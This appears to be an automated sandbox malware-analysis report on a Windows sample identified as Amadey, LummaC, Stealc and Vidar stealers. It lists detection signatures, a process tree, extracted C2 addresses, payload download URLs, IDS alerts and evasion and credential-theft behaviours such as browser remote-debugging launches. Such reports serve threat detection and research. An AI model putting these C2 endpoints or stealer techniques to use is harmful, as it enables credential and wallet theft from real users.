Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562010
MD5:	f6db1fdb077557936fbf7f79bfaede5d
SHA1:	1fa41fb9ac8c5fee78c19a6c894304c37439a041
SHA256:	f6c3ae6f370c77c051ed569795bd930f1d6c3ec7202faf9c735f397a244783d6
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1548 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F6DB1FDB077557936FBF7F79BFAEDE5D)

chrome.exe (PID: 1112 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 632 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2300,i,15339701859179161411,15348730028452467076,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8092 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7728 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2316,i,7836467424862608864,15841045367837416628,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8680 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBFCAKKKFB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFBFCAKKKFB.exe (PID: 7468 cmdline: "C:\Users\user\DocumentsFBFCAKKKFB.exe" MD5: C680DCFC26E4B6CA62B7C9334C27D059)

skotes.exe (PID: 8884 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: C680DCFC26E4B6CA62B7C9334C27D059)

msedge.exe (PID: 3504 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7540 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8360 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6716 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8392 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6736 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5300 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8616 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: C680DCFC26E4B6CA62B7C9334C27D059)

7mpPLxE.exe (PID: 8200 cmdline: "C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe" MD5: A63CADCE90E5A2236DF20FEAF391A8A5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2057596576.0000000000961000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2732544936.0000000000DCA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2749562125.0000000000601000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2751559896.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2013477504.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2085093566.0000000000601000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1504728979.0000000005290000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2059475906.000000000163E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2550911738.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2044728417.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2053805683.0000000000421000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 1548	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1548	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1548	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1548	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7mpPLxE.exe PID: 8200	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7mpPLxE.exe PID: 8200	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
26.2.skotes.exe.600000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsFBFCAKKKFB.exe.420000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.600000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1548, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 1112, ProcessName: chrome.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:41:17.811730+0100	2028371	3	Unknown Traffic	192.168.2.8	49961	172.67.162.84	443	TCP
2024-11-25T03:41:19.812990+0100	2028371	3	Unknown Traffic	192.168.2.8	49968	172.67.162.84	443	TCP
2024-11-25T03:41:22.135130+0100	2028371	3	Unknown Traffic	192.168.2.8	49974	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:41:18.512436+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49961	172.67.162.84	443	TCP
2024-11-25T03:41:20.527469+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49968	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:41:18.512436+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49961	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:41:20.527469+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49968	172.67.162.84	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:41:18.023793+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49960	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:39:22.473722+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:39:22.352867+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:39:22.798295+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:39:24.232277+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:39:22.919936+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:41:23.051809+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49974	172.67.162.84	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:39:21.898488+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:41:06.533682+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49931	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:41:16.638935+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49938	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:41:11.070666+0100	2803305	3	Unknown Traffic	192.168.2.8	49943	31.41.244.11	80	TCP
2024-11-25T03:41:19.574814+0100	2803305	3	Unknown Traffic	192.168.2.8	49963	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T03:39:24.979713+0100	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-25T03:39:47.781371+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:49.839855+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:51.255871+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:52.445076+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:56.209707+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:57.345697+0100	2803304	3	Unknown Traffic	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:40:03.329053+0100	2803304	3	Unknown Traffic	192.168.2.8	49841	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/nss3.dll$	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/1724962075/7mpPLxE.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpfi	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/VM	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll4	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpD0	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllX	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001A.00000002.2749562125.0000000000601000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2059475906.000000000163E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\7mpPLxE[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 51%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA66C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CA66C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.147:443 -> 192.168.2.8:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49974 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49931 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49960 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49938
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49961 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49961 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49974 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49968 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49968 -> 172.67.162.84:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

